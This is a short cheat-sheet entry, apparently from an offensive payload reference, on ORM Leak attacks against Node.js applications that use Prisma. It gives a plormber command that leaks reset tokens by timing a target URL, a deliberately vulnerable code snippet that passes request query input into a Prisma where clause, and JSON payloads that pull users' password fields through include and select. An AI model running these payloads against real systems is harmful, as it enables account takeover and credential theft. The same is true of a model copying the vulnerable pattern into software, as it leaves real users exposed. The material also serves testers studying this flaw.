ORM Leak: Prisma (Node.JS)
Tools:
elttam/plormber - tool for exploiting ORM Leak time-based vulnerabilities
plormber prisma-contains \ --chars '0123456789abcdef' \ --base-query-json '{"query": {PAYLOAD}}' \ --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \ --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \ --verbose-stats \ https://some.vuln.app/articles/time-based;
Example:
Example of an ORM leak in Node.JS with Prisma.
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})Use the include to return all the fields of user records that have created an article
{
"filter": {
"include": {
"createdBy": true
}
}
}Select only one field
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
Comments
No comments yet.